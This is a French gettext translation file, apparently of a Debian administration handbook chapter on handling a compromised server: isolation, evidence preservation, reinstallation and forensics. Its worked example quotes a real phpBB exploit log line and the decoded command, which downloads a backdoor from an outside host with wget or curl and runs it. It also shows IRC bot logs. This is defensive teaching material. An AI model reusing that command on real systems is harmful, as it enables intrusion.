msgstr "Il s'agit là d'un simple exemple. De nombreux autres indices peuvent mettre en alerte un administrateur :"
msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;"
msgstr "une option d'une commande qui ne fonctionne plus (il vérifie alors la version du logiciel et elle ne correspond pas à celle installée d'après <command>dpkg</command>) ;"
msgid "a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;"
msgstr "une invite de connexion qui indique que la dernière connexion réussie est en provenance d'une machine roumaine ;"
msgid "errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;"
msgstr "une partition <filename>/tmp/</filename> pleine (entraînant des erreurs) qui s'avère contenir des films pirates ;"
msgid "and so on."
msgstr "etc."
msgid "Putting the Server Off-Line"
msgstr "Mettre le serveur hors ligne"
msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet."
msgstr "Dans l'immense majorité des cas, l'intrusion provient du réseau et la disponibilité du réseau est essentielle à l'attaquant pour atteindre ses objectifs (récupérer des données confidentielles, échanger des fichiers illégaux, masquer son identité en employant la machine comme relais intermédiaire…). Débrancher l'ordinateur du réseau empêchera l'attaquant d'arriver à ses fins au cas où il n'en aurait pas encore eu le temps."
#, fuzzy
#| msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> and <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> and <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgstr "Ceci n'est possible que si l'on dispose d'un accès physique au serveur. Si ce n'est pas le cas (par exemple parce que le serveur est hébergé à l'autre bout du pays chez un prestataire d'hébergement), il peut être plus judicieux de commencer par récolter quelques informations importantes (voir <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> et <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), puis d'isoler autant que possible le serveur en stoppant le maximum de services (c'est-à -dire tout sauf <command>sshd</command>). Cette situation n'est pas recommandable car il est impossible de s'assurer que l'attaquant ne profite pas (comme l'administrateur) d'un accès via SSH. Il est difficile dans ces conditions de « nettoyer » la machine."
msgid "Keeping Everything that Could Be Used as Evidence"
msgstr "Préserver tout ce qui peut constituer une preuve"
msgid "Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice."
msgstr "Si l'on veut comprendre ce qui s'est passé et/ou si l'on veut pouvoir poursuivre les assaillants, il faut conserver une copie de tous les éléments importants : notamment le contenu du disque dur, la liste des processus en cours d'exécution et la liste des connexions ouvertes. Le contenu de la mémoire vive pourrait aussi être intéressant, mais il est assez rare que l'on exploite cette information."
msgid "In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down."
msgstr "Le stress du moment incite souvent les administrateurs à vérifier beaucoup de choses sur l'ordinateur incriminé, mais c'est une très mauvaise idée. Chaque commande exécutée est susceptible d'effacer des éléments de preuve. Il faut se contenter du minimum (<command>netstat -tupan</command> pour les connexions réseau, <command>ps auxf</command> pour la liste des processus, <command>ls -alR /proc/[0-9]*</command> pour quelques informations supplémentaires sur les programmes en cours d'exécution) et noter systématiquement ce que l'on fait."
msgid "<emphasis>CAUTION</emphasis> Hot analysis"
msgstr "<emphasis>ATTENTION</emphasis> Analyse Ă chaud"
#, fuzzy
#| msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!"
msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!"
msgstr "La tentation est grande d'analyser à chaud un système, surtout lorsque l'on n'a pas d'accès physique au serveur. Cette opération n'est pas souhaitable, tout simplement parce que vous ne pouvez pas faire confiance aux programmes installés sur la machine compromise : il se peut que <command>ps</command> n'affiche pas tous les processus, que <command>ls</command> dissimule des fichiers, voire que le noyau en fasse de même !"
msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised."
msgstr "Si malgré tout une telle analyse doit être conduite, il convient d'employer des programmes que l'on sait être corrects. Il est possible d'avoir un CD-Rom de secours contenant des programmes sains, voire un partage réseau (en lecture seule). Toutefois, si le noyau est compromis, mêmes ces mesures ne seront pas forcément suffisantes."
msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled."
msgstr "Une fois sauvegardés les éléments « dynamiques » les plus importants, il faut réaliser une image fidèle du disque complet. Il est impossible de réaliser une telle image si le système de fichiers évolue encore. Il faut donc le remonter en lecture seule <foreignphrase>(read-only)</foreignphrase>. Le plus simple est souvent de stopper le serveur (brutalement, après un <command>sync</command>) et de le démarrer sur un CD-Rom de secours. Une image de chaque partition peut alors être réalisée à l'aide du programme <command>dd</command>. Ces images peuvent être stockées sur un autre serveur (l'utilitaire <command>nc</command> est alors très pratique pour envoyer les données générées par <command>dd</command> d'une machine à une autre). Une autre solution, beaucoup plus simple, est de sortir le disque de la machine et de le remplacer par un neuf prêt à être réinstallé."
msgid "Re-installing"
msgstr "RĂ©installer"
# TODO: INTEGRATE ALTERNATE STRING: <primary>porte dérobée</primary>
msgid "<primary>backdoor</primary>"
msgstr "<primary><foreignphrase>backdoor</foreignphrase></primary>"
msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgstr "Avant de remettre le serveur en ligne, il est indispensable de le réinstaller complètement. En effet, si la compromission était sévère (obtention des privilèges administrateur), il est presque impossible d'être certain d'avoir éliminé tout ce que l'attaquant a pu laisser derrière lui (portes dérobées notamment, <foreignphrase>backdoors</foreignphrase> en anglais). Une réinstallation complète apportera cette certitude. Bien entendu, il faut également installer toutes les dernières mises à jour de sécurité afin de colmater la brèche que l'attaquant a réussi à exploiter. Idéalement, l'analyse de l'attaque aura mis en lumière la faille et il sera possible de la corriger avec certitude (au lieu de simplement espérer que les mises à jour de sécurité seront suffisantes)."
msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgstr "Pour un serveur distant, réinstaller n'est pas forcément évident à réaliser. Il faudra souvent le concours de l'hébergeur car tous ne disposent pas d'infrastructure de réinstallation automatique. Attention également à ne pas réinitialiser la machine avec une sauvegarde complète ultérieure à la date de compromission ! Il vaut mieux réinstaller les logiciels et ne restaurer que les données."
msgid "Forensic Analysis"
msgstr "Analyser Ă froid"
msgid "Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake."
msgstr "Maintenant que le service est à nouveau fonctionnel, il est temps de se pencher sur les images disque du système compromis afin de comprendre ce qui s'est passé. Lorsqu'on monte l'image du disque, il faut prendre soin d'employer les options <literal>ro, nodev, noexec, noatime</literal> afin de ne pas modifier son contenu (y compris les horodatages des accès aux fichiers) et de ne pas exécuter par erreur des exécutables compromis."
msgid "Retracing an attack scenario usually involves looking for everything that was modified and executed:"
msgstr "Pour reconstituer efficacement le scénario d'une attaque, il faut chercher tous azimuts ce qui a été modifié et exécuté :"
msgid "<filename>.bash_history</filename> files often provide for a very interesting read;"
msgstr "L'analyse d'éventuels fichiers <filename>.bash_history</filename> est souvent très instructive;"
msgid "so does listing files that were recently created, modified or accessed;"
msgstr "Il faut extraire la liste des fichiers récemment créés, modifiés et consultés;"
msgid "the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;"
msgstr "L'identification des programmes installés par l'attaquant est souvent possible à l'aide de la commande <command>strings</command> qui extrait les chaînes de caractères présentes dans un binaire;"
msgid "the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;"
msgstr "L'analyse des fichiers de traces de <filename>/var/log/</filename> fournit souvent une chronologie;"
msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete."
msgstr "Enfin, des outils spécialisés permettent de récupérer le contenu de potentiels fichiers supprimés (notamment les fichiers de traces que les attaquants aiment à supprimer)."
#, fuzzy
#| msgid "Some of these operations can be made easier with specialized software. In particular, the <emphasis role=\"pkg\">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package)."
msgid "Some of these operations can be made easier with specialized software. In particular, the <emphasis role=\"pkg\">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package). Some Linux distributions have a \"live install\" image and contain many programs for forensic analysis, such as Kali Linux (see <xref linkend=\"sect.kali\" />), with its <emphasis>forensic mode</emphasis>, BlackArchLinux<footnote><para> <ulink url=\"https://blackarch.org\" /></para></footnote> and the commercial Grml-Forensic, based on Grml (see <xref linkend=\"sect.grml\" />)."
msgstr "Certaines de ces opérations sont facilitées par des logiciels spécialisés. Le paquet <emphasis role=\"pkg\">sleuthkit</emphasis> en particulier fournit de nombreux outils d'analyse de système de fichiers. Leur usage est grandement facilité par l'interface graphique <emphasis>Autopsy Forensic Browser</emphasis> contenue dans le paquet <emphasis role=\"pkg\">autopsy</emphasis>."
msgid "<primary>Autopsy Forensic Browser</primary>"
msgstr "<primary>Autopsy Forensic Browser</primary>"
msgid "<primary>The Sleuth Kit</primary>"
msgstr "<primary>The Sleuth Kit</primary>"
msgid "Reconstituting the Attack Scenario"
msgstr "Reconstituer le scénario de l'attaque"
msgid "All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings."
msgstr "Tous les éléments récoltés au cours de l'analyse doivent pouvoir s'emboîter comme dans un puzzle : la date de création des premiers fichiers suspects correspond souvent à des traces prouvant l'intrusion. Un petit exemple réel sera plus parlant qu'un long discours théorique."
msgid "The following log is an extract from an Apache <filename>access.log</filename>:"
msgstr "La trace ci-dessous, extraite d'un fichier <filename>access.log</filename> de Apache, en est un exemple :"
msgid ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
" "
msgstr ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
" "
#, fuzzy
#| msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"http://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"https://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgstr "Cet exemple correspond à l'exploitation d'un ancien trou de sécurité de phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"http://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor."
msgstr "En décodant cette longue URL, il est possible de comprendre que l'attaquant a exécuté la commande PHP <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\")</command>. Effectivement, un fichier <filename>bd</filename> est disponible dans <filename>/tmp/</filename>. L'exécution de <command>strings /mnt/tmp/bd</command> renvoie entre autres <literal>PsychoPhobia Backdoor is starting...</literal>. Il s'agit donc d'une porte dérobée."
msgid "Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:"
msgstr "Peu de temps après, cet accès a été utilisé pour télécharger et installer un <foreignphrase>bot</foreignphrase> IRC qui s'est connecté à un réseau IRC <foreignphrase>underground</foreignphrase>. Il peut être contrôlé par le biais de ce protocole, notamment pour télécharger des fichiers puis les mettre à disposition. Ce logiciel dispose de son propre fichier de trace :"
msgid ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
msgstr ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
msgid "These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address."
msgstr "Deux fichiers vidéo ont été déposés sur le serveur par l'intermédiaire de la machine 82.50.72.202."
msgid "In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach."
msgstr "En parallèle à cela, l'attaquant a téléchargé des fichiers supplémentaires <filename>/tmp/pt</filename> et <filename>/tmp/loginx</filename>. Une analyse avec <command>strings</command> permet de récupérer des chaînes comme <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> ou <foreignphrase>Now wait for suid shell...</foreignphrase>. Il s'agit de programmes exploitant des vulnérabilités locales pour obtenir des privilèges administrateur. Mais sont-ils parvenus à leur fin ? Selon toute vraisemblance (fichiers modifiés postérieurement à l'intrusion), non."
msgid "In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability."
msgstr "Dans cet exemple, tout le déroulement de l'intrusion a pu être reconstitué et l'attaquant a pu se servir du système compromis pendant 3 jours. Toutefois, le plus important dans cette reconstitution est que la vulnérabilité a été identifiée et a pu être corrigée sur la nouvelle installation."
#~ msgid "The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the <emphasis>netfilter</emphasis> firewall, with a graphical representation of the filtering rules. <command>fwbuilder</command> is undoubtedly among the best of them."
#~ msgstr "L'absence de configuration standard explique qu'il n'y ait pas de solution prête à l'emploi. Des outils permettent en revanche de simplifier la configuration du pare-feu netfilter en visualisant graphiquement les règles définies. L'un des meilleurs est sans doute <command>fwbuilder</command>."
#~ msgid "<primary><emphasis>netfilter</emphasis></primary>"
#~ msgstr "<primary><emphasis>netfilter</emphasis></primary>"
#~ msgid "<primary><command>ip6tables</command></primary>"
#~ msgstr "<primary><command>ip6tables</command></primary>"
#~ msgid "<emphasis>netfilter</emphasis> uses four distinct tables which store rules regulating three kinds of operations on packets:"
#~ msgstr "netfilter dispose de quatre tables distinctes, donnant les règles régissant trois types d'opérations sur les paquets :"
#~ msgid "<literal>filter</literal> concerns filtering rules (accepting, refusing or ignoring a packet);"
#~ msgstr "<literal>filter</literal> pour les règles de filtrage (accepter, refuser, ignorer un paquet) ;"
#~ msgid "<literal>nat</literal> concerns translation of source or destination addresses and ports of packages;"
#~ msgstr "<literal>nat</literal> pour modifier les adresses IP et les ports sources ou destinataires des paquets ;"
#~ msgid "<literal>mangle</literal> concerns other changes to the IP packets (including the ToS — <emphasis>Type of Service</emphasis> — field and options);"
#~ msgstr "<literal>mangle</literal> pour modifier d'autres paramètres des paquets IP (notamment le champ ToS — <foreignphrase>Type Of Service</foreignphrase> — et les options) ;"
#~ msgid "<literal>raw</literal> allows other manual modifications on packets before they reach the connection tracking system."
#~ msgstr "<literal>raw</literal> pour effectuer des manipulations manuelles sur les paquets avant que le suivi de connexion entre en jeu."
#~ msgid "Each table contains lists of rules called <emphasis>chains</emphasis>. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly)."
#~ msgstr "Chaque table contient des listes de règles appelées chaînes ; les chaînes standards servent au pare-feu pour traiter les paquets dans différentes circonstances prédéfinies. L'administrateur peut créer d'autres chaînes, qui ne seront employées que si l'une des chaînes standards les appelle."
#~ msgid "<primary>filtering rule</primary>"
#~ msgstr "<primary>règle de filtrage</primary>"
#~ msgid "The <literal>filter</literal> table has three standard chains:"
#~ msgstr "La table <literal>filter</literal> compte trois chaînes standards :"
#~ msgid "<literal>INPUT</literal>: concerns packets whose destination is the firewall itself;"
#~ msgstr "<literal>INPUT</literal> : concerne les paquets destinés au pare-feu ;"
#~ msgid "<literal>OUTPUT</literal>: concerns packets emitted by the firewall;"
#~ msgstr "<literal>OUTPUT</literal> : concerne les paquets émis par le pare-feu ;"
#~ msgid "<literal>FORWARD</literal>: concerns packets transiting through the firewall (which is neither their source nor their destination)."
#~ msgstr "<literal>FORWARD</literal> : appliquée aux paquets transitant via le pare-feu (et dont il n'est donc ni la source ni le destinataire)."
#~ msgid "The <literal>nat</literal> table also has three standard chains:"
#~ msgstr "La table <literal>nat</literal> dispose également de trois chaînes standards :"
#~ msgid "<literal>PREROUTING</literal>: to modify packets as soon as they arrive;"
#~ msgstr "<literal>PREROUTING</literal> : modifie les paquets dès qu'ils arrivent ;"
#~ msgid "<literal>POSTROUTING</literal>: to modify packets when they are ready to go on their way;"
#~ msgstr "<literal>POSTROUTING</literal> : modifie les paquets alors qu'ils sont prêts à partir ;"
#~ msgid "<literal>OUTPUT</literal>: to modify packets generated by the firewall itself."
#~ msgstr "<literal>OUTPUT</literal> : modifie les paquets générés par le pare-feu lui-même."
#~ msgid "How <emphasis>netfilter</emphasis> chains are called"
#~ msgstr "Ordre d'emploi des chaînes de <emphasis>netfilter</emphasis>"
#~ msgid "Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the <literal>-j</literal> option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):"
#~ msgstr "Chaque chaîne est une liste de règles, prévoyant une action à exécuter quand certaines conditions sont remplies. Le pare-feu parcourt séquentiellement la chaîne s'appliquant au paquet traité et dès qu'une règle est satisfaite, il « saute » (l'option <literal>-j</literal> vient de <foreignphrase>jump</foreignphrase>) à l'emplacement indiqué pour continuer le traitement. Certains de ces emplacements sont standardisés et correspondent aux actions les plus courantes. Une fois une de ces actions enclenchée, le parcours de la chaîne est interrompu parce que le sort du paquet est normalement décidé (sauf exception explicitement mentionnée ci-après) :"
#~ msgid "<literal>ACCEPT</literal>: allow the packet to go on its way;"
#~ msgstr "<literal>ACCEPT</literal> : autoriser le paquet à poursuivre son parcours ;"
#~ msgid "<literal>REJECT</literal>: reject the packet with an ICMP error packet (the <literal>--reject-with <replaceable>type</replaceable></literal> option to <command>iptables</command> allows selecting the type of error);"
#~ msgstr "<literal>REJECT</literal> : rejeter le paquet (ICMP signale une erreur, l'option <literal>--reject-with <replaceable>type</replaceable></literal> d'<command>iptables</command> permet de choisir le type d'erreur renvoyée) ;"
#~ msgid "<literal>DROP</literal>: delete (ignore) the packet;"
#~ msgstr "<literal>DROP</literal> : supprimer (ignorer) le paquet ;"
#~ msgid "<literal>LOG</literal>: log (via <command>syslogd</command>) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule;"
#~ msgstr "<literal>LOG</literal> : enregistrer (via <command>syslogd</command>) un message de log contenant une description du paquet traité (cette action retourne après exécution à sa position dans la chaîne appelante — celle qui a invoquée l'action — c'est pourquoi il est nécessaire de la faire suivre par une règle REJECT ou DROP si l'on veut simplement enregistrer la trace d'un paquet qui doit être refusé) ;"
#~ msgid "<literal>ULOG</literal>: log a message via <command>ulogd</command>, which can be better adapted and more efficient than <command>syslogd</command> for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain;"
#~ msgstr "<literal>ULOG</literal> : enregistrer un message de log via <command>ulogd</command>, plus adapté et plus efficace que <command>syslogd</command> pour gérer de grandes quantités de messages (cette action renvoie aussi le fil d'exécution à sa position dans la chaîne appelante) ;"
#~ msgid "<replaceable>chain_name</replaceable>: jump to the given chain and evaluate its rules;"
#~ msgstr "<replaceable>nom_de_chaîne</replaceable> : évaluer les règles de la chaîne indiquée ;"
#~ msgid "<literal>RETURN</literal>: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the <literal>-P</literal> option to <command>iptables</command>) is executed instead;"
#~ msgstr "<literal>RETURN</literal> : stopper l'évaluation de la chaîne courante et revenir sur la chaîne appelante (si la chaîne courante est une chaîne standard, dépourvue de chaîne appelante, effectuer l'action par défaut — il s'agit d'une action particulière qui se configure avec l'option <literal>-P</literal> de <command>iptables</command>) ;"
#~ msgid "<literal>SNAT</literal> (only in the <literal>nat</literal> table): apply <emphasis>Source NAT</emphasis> (extra options describe the exact changes to apply);"
#~ msgstr "<literal>SNAT</literal> (seulement dans la table <literal>nat</literal> : effectuer du <foreignphrase>Source NAT</foreignphrase> (des options précisent les modifications à effectuer) ;"
#~ msgid "<literal>DNAT</literal> (only in the <literal>nat</literal> table): apply <emphasis>Destination NAT</emphasis> (extra options describe the exact changes to apply);"
#~ msgstr "<literal>DNAT</literal> (seulement dans la table <literal>nat</literal>) : effectuer du <foreignphrase>Destination NAT</foreignphrase> (des options précisent les modifications à effectuer) ;"
#~ msgid "<literal>MASQUERADE</literal> (only in the <literal>nat</literal> table): apply <emphasis>masquerading</emphasis> (a special case of <emphasis>Source NAT</emphasis>);"
#~ msgstr "<literal>MASQUERADE</literal> (seulement dans la table <literal>nat</literal>)Â : effectuer du <command>masquerading</command> (SNAT particulier)Â ;"
#~ msgid "<literal>REDIRECT</literal> (only in the <literal>nat</literal> table): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy."
